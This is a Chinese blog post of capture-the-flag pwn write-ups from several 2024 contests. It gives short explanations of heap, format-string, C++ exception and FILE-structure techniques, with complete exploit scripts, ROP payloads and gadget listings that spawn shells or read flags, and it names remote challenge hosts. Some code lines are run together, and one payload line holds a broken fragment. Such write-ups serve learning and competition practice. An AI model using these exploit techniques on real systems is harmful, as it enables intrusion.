记录一下最近比赛的wp吧
D^3CTF
d3note
没有限制idx范围,越界任意读写,读malloc地址泄露libc,网上写system
from Excalibur2 import*proc('./pwn')
lib('./libc.so.6')
el('./pwn')default('h')def add(idx,size,content):sl(b"276")sl(str(idx))sl(str(size))sl(content)def dele(idx):sl(b"6425")sl(str(idx))def edit(idx,content):sl(b"2064")sl(str(idx))sl(content)def show(idx):sl(b"1300")sl(str(idx))target = 0x4040A0add(0, 0x20, b"/bin/sh\x00")
# debug('b *0x401377\nb *0x401422\nb *0x401221\nb *0x401368\n')
debug('b *0x40141D\nb *0x4013D6\n')
show(-924)
libcbase = get_addr64()-libcsym('malloc')
system = libcbase+libcsym('system')
read = sym('read')
lg("libcbase",libcbase)
lg("system",system)
lg("read",read)# add(-10,str(0x100),b"aaaa")
# add(-10,hex(system),b"aaaa")
# edit(-1440,b"a"*0x5a90)
edit(-1440,p64(0x404000)*0x20)
edit(-1450,p64(system))dele(0)ia()
write_flag_where
写libc的code段,先改一个ret为nop,使得canary报错,然后修改canary报错消息打印的偏移,将打印出的消息和原消息对比得到偏移可比对出flag
from Excalibur2 import *default('h')# proc('./test')
debug('b *$rebase(0x133E)\n')
# debug('b *$rebase(0x1361)\n')
# sl("140737352835740 14")
lib('./libc.so.6')
# libcsym('_fortify_fail')
flag = ""
# sl(str(140737352783190+0x3)+" "+str(10))
# sl("140737352643938 14")#smash
# sl("140737352808591 14")
# ru("*** ")
# print(ru(" ***"))
# flag += ru(" ***").decode()
# print(flag)
flags = {'sy': 'a','ym': 'b','ms': 'c','s.': 'd','.c': 'e','c ': 'f','HA': '0','AN': '1','NG': '2','G ': '3',' *': '4','SE': '5','EC': '6','CS': '7','S ': '8',' *': '9'
}
for i in range(16):proc('./test')sl(str(140737352783190+0x3)+" "+str(i+6))sl("140737352643938 18")#smashsl("140737352808591 14")ru("*** ")flag += flags[rec(2).decode()]print(rec(2))# pause()# syms.c yms.c ms.c s.c .c c HANG ANG NG G# flag += flags[ru(" ***").decode()]print(flag)
# print(rc())
# pause()cl()
print("your flag: ","flag{"+flag+"}")# ia()
#
# ia()"""
pwndbg> p (0x7ffff7f5a916-88) ## a
pwndbg> hex 140737353459902
+0000 0x7ffff7f5a8be 73 79 6d 73 2e 63 00 2b 30 78 00 2d 30 78 00 5b │syms.c.+│0x.-0x.[│
+0010 0x7ffff7f5a8ce 30 78 00 5d 0a 00 62 75 66 66 65 72 20 6f 76 65 │0x.]..bu│ffer.ove│
+0020 0x7ffff7f5a8de 72 66 6c 6f 77 20 64 65 74 65 63 74 65 64 00 6c │rflow.de│tected.l│
+0030 0x7ffff7f5a8ee 6f 6e 67 6a 6d 70 20 63 61 75 73 65 73 20 75 6e │ongjmp.c│auses.un│
pwndbg> p (0x7ffff7f5a916-83) ## f
$4 = 140737353459907
pwndbg> hex $
+0000 0x7ffff7f5a8c3 63 00 2b 30 78 00 2d 30 78 00 5b 30 78 00 5d 0a │c.+0x.-0│x.[0x.].│
+0010 0x7ffff7f5a8d3 00 62 75 66 66 65 72 20 6f 76 65 72 66 6c 6f 77 │.buffer.│overflow│
+0020 0x7ffff7f5a8e3 20 64 65 74 65 63 74 65 64 00 6c 6f 6e 67 6a 6d │.detecte│d.longjm│
+0030 0x7ffff7f5a8f3 70 20 63 61 75 73 65 73 20 75 6e 69 6e 69 74 69 │p.causes│.uniniti│
pwndbg> hex $Quit
pwndbg> p (Quit
pwndbg> hex $Quit
pwndbg> p (0x7ffff7f5a916-83Quit
pwndbg> p(0xb9-0x30)
$5 = 137
pwndbg> p (0x7ffff7f5a916-137) ## 0
$6 = 140737353459853
pwndbg> hex 140737353459853
+0000 0x7ffff7f5a88d 48 41 4e 47 00 53 45 43 53 00 25 73 28 25 73 29 │HANG.SEC│S.%s(%s)│
+0010 0x7ffff7f5a89d 20 5b 25 70 5d 00 25 73 28 25 73 25 63 25 23 74 │.[%p].%s│(%s%c%#t│
+0020 0x7ffff7f5a8ad 78 29 20 5b 25 70 5d 00 62 61 63 6b 74 72 61 63 │x).[%p].│backtrac│
+0030 0x7ffff7f5a8bd 65 73 79 6d 73 2e 63 00 2b 30 78 00 2d 30 78 00 │esyms.c.│+0x.-0x.│
pwndbg> p(0xb9-0x39)
$7 = 128
pwndbg> p (0x7ffff7f5a916-128) ## 9
$8 = 140737353459862
pwndbg> hex 140737353459862
+0000 0x7ffff7f5a896 00 25 73 28 25 73 29 20 5b 25 70 5d 00 25 73 28 │.%s(%s).│[%p].%s(│
+0010 0x7ffff7f5a8a6 25 73 25 63 25 23 74 78 29 20 5b 25 70 5d 00 62 │%s%c%#tx│).[%p].b│
+0020 0x7ffff7f5a8b6 61 63 6b 74 72 61 63 65 73 79 6d 73 2e 63 00 2b │acktrace│syms.c.+│
+0030 0x7ffff7f5a8c6 30 78 00 2d 30 78 00 5b 30 78 00 5d 0a 00 62 75 │0x.-0x.[│0x.]..bu│
"""
DASCTF X GFCTF
control
利用C++的catch机制绕过canary,调试控制rbp为栈上地址,在栈上写rop
from Excalibur2 import *default("h")while True:proc('./pwn')remo('node5.buuoj.cn',29422)gift_str = b"/bin/sh\x00"gift = 0x4d3350payload = p64(0x401c72)+p64(gift)+p64(0x0000000000405285)+p64(0)+p64(0x0000000000462c27)+p64(59)+p64(0x40161e)payload += cyclic(34+78-len(payload))payload += b"\xd8\xe2"sda(">",gift_str)sda("?",payload)sl("cat /flag")try:flag = ru("}")except:print("[-] Failed")cl()continueelse:print(flag)ia()
"""
0x000000000040161e : syscall
0x0000000000495b8a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000462c27 : pop rax ; ret
0x0000000000401c72 : pop rdi ; ret
"""
DASCTF X HDCTF
签个到吧
一下午卡在没法一次改同一个栈链上,比赛最后四十分钟搜到了个https://zikh26.github.io/posts/a523e26a.html
才发现神奇的$
不能在一次printf中对一个地址进行修改+利用,所以需要在一次printf中利用两次相同链的情况需要把前面的\(展开,也就是说用%号来推进偏移,而不是`\)`来推偏移
原因不知道为什么,需要去printf的源码中寻找答案,有博客猜测:任意地址写用 $
指定写入和按参数顺序写入的操作是先后分开的,先按参数顺序写入指针后,再用 $
去在刚刚的指针基础上进行修改
这种极限的格式化字符串利用使用条件为
- 栈上有两条A->B->C的栈链
- 非栈上的格式化字符串
- 结尾程序退出使用_exit函数(防止劫持fini_array)
本题来说
- 第一条链,写printf函数的返回地址,这样能起到每次修改返回地址使程序循环利用fmt的作用
- 第二条链,写One_gadget,分三次写,一次写两字节,栈链为A->B->(目标存放ogg的栈地址分别+0、+2、+4)
- 这里将ogg存放在printf函数返回地址的栈地址+8,最后修改printf返回地址为ret,成功返回到ogg处执行getshell
如图所示
写入之后
一些Attention:
- 本题的特殊之处在于,假设现在有栈指针
A=>B=>C=>D
,我可以用格式化字符通过B
为跳板修改C
为E
,那么修改后的链为A=>B=>E=>F
,如果有第二次格式化字符串漏洞的话,我可以找到链B=>E=>F
通过E
为跳板,修改原本的F
为G
。但这个操作无法用一次的格式化字符串漏洞完成,可能因为B=>E=>F
这条链本身是不存在的,即使用格式化字符串漏洞做出了B=>E=>F
这条链也无法同时再去改这条链上的指针 - 在重新读入格式化字符串后,补\x00来截断上一次的格式化字符串
- 使用send发送0x100的数据,别用sendline,每次发送后接受一下sleep一下,解决很多玄学问题)
- 劫持printf返回地址的时候,只需修改最后一字节为0x3F即可,但是显然前面的输出一定远大于所需字节,用到一个技巧是:用0x10003F减去前面pay的长度,之后用%hhn来截断最后一个字节
每一部分的pay细节详见exp
exp
from Excalibur2 import *proc('./pwn')
remo("node5.buuoj.cn:27353")
default('h')
lib("./libc.so.6")
# lib("./libc-2.31.so")
el("./pwn")ru(b'addr: ')
gift = int(ru(b'\n'),16)
target = gift -0x28
lg('gift:',gift)
lg('target:',target)
tar1 = target & 0xffff
tar2 = tar1+0x8
lg('tar1:',tar1)
lg('tar2:',tar2)# 泄露libc地址,改printf返回地址为0x40133F
# 一个%号表示偏移为1,pay1前两行一共7个%号,所以偏移为7,等价于%7$
pay1 = b"%p"*5
print(len(pay1))
pay1 += b"%"+str((tar1-35)).encode()+b"c%hn"
pay1 += b'%'+str(0x10003F-(tar1)-46).encode()+b'c%49$hhn'
pay1 = pay1.ljust(0x100,b'\x00')
debug("b *0x401361\n")
sda(b'message:',pay1)ru(b"0x")
ru(b"0x")
ru(b"0x")
libc = int(ru(b"0x"),16)-18-libcsym("read")
lg("libc",libc)ogg = [0xe3afe,0xe3b01,0xe3b04]
os = libc+ogg[1]os1 = (os)&0xffff
os2 = (os>>16)&0xffff
os3 = (os>>32)&0xffff
read = got("read")# 写第二条栈链为pritnf返回地址+0x8,指向ogg的最后两字节
pay2 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay2 += b"%"+str(tar2-0x3F).encode()+b"c%8$hn"
pay2 = pay2.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay2)# 往pritnf返回地址+0x8处写ogg最后两字节
pay3 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay3 += b"%"+str(os1-0x3F).encode()+b"c%47$hn"
pay3 = pay3.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay3)# 写第二条栈链为pritnf返回地址+0x8+2,指向ogg的中间两字节
pay4 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay4 += b"%"+str(tar2-0x3F+2).encode()+b"c%8$hn"
pay4 = pay4.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay4)# 往pritnf返回地址+0x8处写ogg中间两字节
pay5 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay5 += b"%"+str(os2-0x3F).encode()+b"c%47$hn"
pay5 = pay5.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay5)# 写第二条栈链为pritnf返回地址+0x8+4,指向ogg的前面两字节
pay6 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay6 += b"%"+str(tar2-0x3F+4).encode()+b"c%8$hn"
pay6 = pay6.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay6)# 往pritnf返回地址+0x8处写ogg前面两字节
pay7 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay7 += b"%"+str(os3-0x3F).encode()+b"c%47$hn"
pay7 = pay7.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay7)# printf的返回地址改成0x40101a,即ret的地址,执行one_gadget成功getshell
pay = b"%"+str(0x101a).encode()+b"c%49$hn"
pay = pay.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay)ia()"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:[r15] == NULL || r15 == NULL[r12] == NULL || r12 == NULL0xe3b01 execve("/bin/sh", r15, rdx)
constraints:[r15] == NULL || r15 == NULL[rdx] == NULL || rdx == NULL0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL[rdx] == NULL || rdx == NULL
"""
DASCTF2024暑期挑战赛
spring_board
非栈上格式化字符串写两次返回地址两次写og
from Excalibur2 import*proc("./pwn")
remo("node5.buuoj.cn:25964")
default("h")# pay1 = "-%p"*10
debug("b *0x40082A\n")
pay1 = b"%3$p-%6$p-"
pay1 = pay1.ljust(0x40,b"\x00")
sda(b"keyword\n",pay1)libc = int(ru(b"-"),16)-0xf7360
lg("libc",libc)stack = int(ru(b"-"),16)
target = stack-0xd8
lg("target",target)ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
os = libc+ogg[0]
lg("os",os)os1 = (os)&0xffff
os2 = (os>>16)&0xffff
lg("os1",os1)
lg("os2",os2)tar = target&0xffff
lg("tar",tar)pay2 = b"%"+str(tar).encode()+b"c%25$hn"
pay2 = pay2.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay2)pay3 = b"%"+str(os1).encode()+b"c%39$hn"
pay3 = pay3.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay3)pay4 = b"%"+str(tar+2).encode()+b"c%25$hn"
pay4 = pay4.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay4)pay5 = b"%"+str(os2).encode()+b"c%39$hn"
pay5 = pay5.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay5)ia()"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:rax == NULL0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:[rsp+0x50] == NULL0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL
"""
magic_book
利用入链排序绕过largebin双链表检查,largebin attack写book打出edit的栈溢出,orw读flag即可
from Excalibur2 import*proc("./pwn")
remo("48.218.22.35:9991")
el("./pwn")
lib("./libc.so.6")
default("h")def cmd(c):sla(b"choice:\n", str(c))def add(size):cmd(1)sla(b"need?\n", str(size))def dele(idx,cnt=b"",page=-1):cmd(2)sla(b"delete?\n", str(idx))if page != -1:sla(b"deleted?(y/n)\n", b"y")sla(b"write?\n",str(page))sla(b"content: \n",cnt)else:sla(b"deleted?(y/n)\n", b"n")passdef edit(cnt):cmd(3)sla(b"story!\n", cnt)ru(b"gift: ")
target = int(ru(b"what"),16)
lg("target",target)base = target-0x4010
lg("base",base)# debug("b *$rebase(0x1580)\nb *$rebase(0x13FE)\nb *$rebase(0x14B9)\n")
debug("b *$rebase(0x160C)\n")
add(0x4a8) # p1
add(0x28) # g1
add(0x498) # p2
add(0x28) # g2
dele(0)
add(0x4b8) # g3
dele(2,p64(target+0x40-0x20)*3,0)
add(0x4b8) # g4pop_rdi = base+0x0000000000001863
ret = base+0x000000000000101a
read_got = got("read")+base
puts_plt = plt("puts")+base
# pay = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(0x15E1+base)
pay = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(0x15E1+base)
edit(pay)read_real = get_addr64()libcbase = read_real - libcsym("read")
lg("libcbase",libcbase)syscall = libcbase+0x46C85
pop_rax = libcbase+0x0000000000045eb0
pop_rsi = libcbase+0x000000000002be51
pop_rbx = libcbase+0x0000000000035dd1
pop_rdx_rbx = libcbase+0x00000000000904a9binsh , system = searchlibc("read",read_real,1)
lg("binsh",binsh)
lg("system",system)
og = [0x50a47,0xebc81,0xebc85,0xebc88]
# os = libcbase + og[3]pay2 = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rax)+p64(0)+p64(pop_rdx_rbx)+p64(0x8)*2+p64(syscall)
pay2 += p64(pop_rdi)+p64(target+0x100)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall)
pay2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
pay2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p61+p64(syscall)
# pay2 = b"a"*0x20+b"a"*8+p64(ret)+p64(os)
# edit(pay2)
sla(b"story!",pay2)sleep(2)
sl(b"/flag\x00\x00\x00\x00")ia()"""
0x0000000000029db4 : syscall
0x0000000000045eb0 : pop rax ; ret
""""""
0x000000000000185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001860 : pop r14 ; pop r15 ; ret
0x0000000000001862 : pop r15 ; ret
0x000000000000185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000012b3 : pop rbp ; ret
0x0000000000001430 : pop rbx ; pop rbp ; ret
0x0000000000001863 : pop rdi ; ret
0x0000000000001861 : pop rsi ; pop r15 ; ret
0x000000000000185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x000000000000161f : ret 0x8b48
0x000000000000174a : ret 0xfffb
""""""
0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:rsp & 0xf == 0rcx == NULLrbp == NULL || (u16)[rbp] == NULL0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:address rbp-0x78 is writable[r10] == NULL || r10 == NULL[[rbp-0x70]] == NULL || [rbp-0x70] == NULL0xebc85 execve("/bin/sh", r10, rdx)
constraints:address rbp-0x78 is writable[r10] == NULL || r10 == NULL[rdx] == NULL || rdx == NULL0xebc88 execve("/bin/sh", rsi, rdx)
constraints:address rbp-0x78 is writable[rsi] == NULL || rsi == NULL[rdx] == NULL || rdx == NULL
"""
R3CTF
Nullullullllu
改stdin结构体中的_IO_buf_base最后一位为\x00,能够在_IO_buf_base-0x20处开始读入0x64字节,伪造stdin结构体,打getchar->_IO_getc->_IO_getc_unlocked->__uflow这条链,用house of cat
- 改IO_wfile_jumps+0x20
- fake_io0x8处改成faki_io_addr,_IO_buf_end=1,_IO_save_base=0;绕过检查
- getchar读取触发
from Excalibur2 import *proc('./pwn')
default("h")
lib("./libc.so.6")def libcbase():sla(">",str(1))ru(b"libc_base = ")libc = int(ru("\n"),16)lg("libcbase",libc)return libcdef null(target):sla(">",str(2))sla("Mem: ",str(target))libc = libcbase()
target = libc+0x203918
lg("target",target)
null(hex(target))base = target-56
lg("base",base)
pay = p64(base)*4+p64(base+0x200)+p64(0)*3
# pay = pay.ljust(0x64,b"\x00")
debug("b *$rebase(0x12C3)\nb *$rebase(0x138D)\n")
sda(">",pay)
sleep(1)system = libc+libcsym("system")# debug(f"b *$rebase(0x12C3)\nb *$rebase(0x138D)\nc\nc\nx/40gx {base}\n")
# debug("b _IO_file_underflow\nc\n")
rdi = 0x68732f6e69622f
lg("libcbase",libc)
lg("target",target)
lg("base",base)
# lg("binsh",rdi)
call_addr = system
lg("system",call_addr)
fake_io_addr=base # 伪造的fake_IO结构体的地址
lg("fake_io_addr",fake_io_addr)
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi system可设置为binsh的地址
fake_IO_FILE+=p64(fake_io_addr)
fake_IO_FILE+=p64(0)*6
# fake_IO_FILE +=p64(0)# _IO_buf_base=0
# FSOP触发时需要设置fp->_IO_write_ptr > fp->_IO_write_base 即 0x28处值要大于0x20处值
fake_IO_FILE +=p64(1)# rcx!=0(FSOP) _IO_buf_end=1 满足fp->_IO_buf_base != f->_IO_buf_end ,也就是wide_data->_IO_read_ptr != _wide_data->_IO_read_end
fake_IO_FILE +=p64(0)# _IO_save_base = 2
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 满足fp->_IO_save_base < f->_IO_backup_base ,也就是_wide_data->_IO_write_ptr < _wide_data->_IO_write_base
# mov rdx, qword ptr [rax + 0x20] 其中rax=fake_io_addr+0x30 所以 rdx=fake_io_addr+0x50
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
# call qword ptr [rax + 0x18] 其中rax=fake_io_addr+0x40 所以 call fake_io_addr+0x58
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(base-0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr 这里rax1可以设置成其他的地方,设置成fake_io_addr+0x30更好布局和节省内存
# mov rax, qword ptr [rdi + 0xa0] 其中rdi=fake_io_addr 所以rax=rax1=[fake_io_addr]=fake_io_addr+0x30
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(0) # __malloc_assert触发时 mode=1
# FSOP触发时,要满足fp->_mode <= 0,FSOP条件之一
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libc+libcsym("_IO_wfile_jumps")+0x20) # __malloc_assert触发时vtable=IO_wfile_jumps+0x10
# FSOP触发时vtable=IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
# print(len(fake_IO_FILE))
# mov rax, qword ptr [rax + 0xe0] 其中rax=rax1=fake_io_addr+0x30 所以 rax=rax2=[fake_io_addr+0x110]=fake_io_addr+0x40sd(fake_IO_FILE)ia()
2024JQCTF
pwn_克莱恩特
分析程序发现只需要绕过protobuf的一些检查,就能利用unhex函数的漏洞溢出控制程序执行流
因为目标程序是一个客户端程序,所以我们需要写一个server让client连接我们的server,然后攻击
exp.py
from Excalibur2 import *proc("./pwn")
default("h")debug("b *0x40eee1\n")
# debug("b processResponseContent\n")
# debug("b *0x40ED78\n")
# pay1 = b"1"
pay1 = b"127.0.0.1"
# pay2 = b"2222\x00"+b"a"*0x10
pay2 = b"9999\x00"
sla(b"ip:",pay1)
sla(b"port:",pay2)pause()
sl(b"/bin/sh\x00")ia()
server.py
import socket
import threading
import struct
import odd_pb2 seq = 0x13370001
# 定义处理函数
"""
0x000000000054688a : pop rax ; ret
0x000000000065B435 : syscall; ret
0x00000000004146a4 : pop rdi ; ret
0x00000000004161b3 : pop rsi ; ret
0x00000000006615ab : pop rdx ; pop rbx ; ret
"""
def process_response_content(message):pay = "f"*2064+"xxxxxxxxxxxxxxxx"+"00"*24+"a446410000000000"+"0000000000000000"+"b361410000000000"+"7171760000000000"+"aa15660000000000"+"0800000000000000"*2+"35B4650000000000"pay += "8a68540000000000"+"3b00000000000000"+"a446410000000000"+"7171760000000000"+"b361410000000000"+"0000000000000000""ab15660000000000"+"0000000000000000"*2+"35B4650000000000"# pay += # pay = "0x"+"a"*2064# pay = "0x"+"a"*2# pay = "0x"+"fffffffffffffffffffffffffffffffffffffffff"*2pay = pay.encode()response = odd_pb2.Message()if message.cont == b"hello":response.opcode = odd_pb2.OP_HELLOresponse.cont = b"helloOk"print("send helloOk")elif message.cont == b"sessionBegin":response.opcode = odd_pb2.OP_SESSIONresponse.cont = b"sessionOk"print("send sessionOk")elif message.cont == b"recvHex":response.opcode = odd_pb2.OP_MSGresponse.cont = (pay)print("send hex")elif message.cont == b"sessionEnd":response.opcode = odd_pb2.OP_ENDresponse.cont = b"Ok"print("send Ok")else:response.cont = b"Unknown opcode"response.magic = 875704370response.seq = seqreturn response# 定义客户端处理线程
def handle_client(client_socket):try:while True:content = client_socket.recv(1024)if not content:breakprint("[*] received content: ")print(content)# 解析消息message = odd_pb2.Message()message.ParseFromString(content)print("message: ", message)# 处理内容并生成响应response = process_response_content(message)# 序列化响应response_data = response.SerializeToString()# response_length = struct.pack('!I', len(response_data))# 发送响应print("[*] Sending response")print(response_data)print(response)client_socket.send(response_data)global seqprint(f"seq: {seq}")seq += 2except (ValueError, ConnectionError, MemoryError) as e:print(f"Error: {e}")finally:client_socket.close()# 启动服务器
def start_server(host, port):server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((host, port))server.listen(5)print(f"[*] Listening on {host}:{port}")while True:client_socket, addr = server.accept()print(f"[*] Accepted connection from {addr}")client_handler = threading.Thread(target=handle_client, args=(client_socket,))client_handler.start()# 设置主机和端口
HOST = '0.0.0.0'
PORT = 9999# 启动服务器
start_server(HOST, PORT)
odd_pb2用protobuf编译即可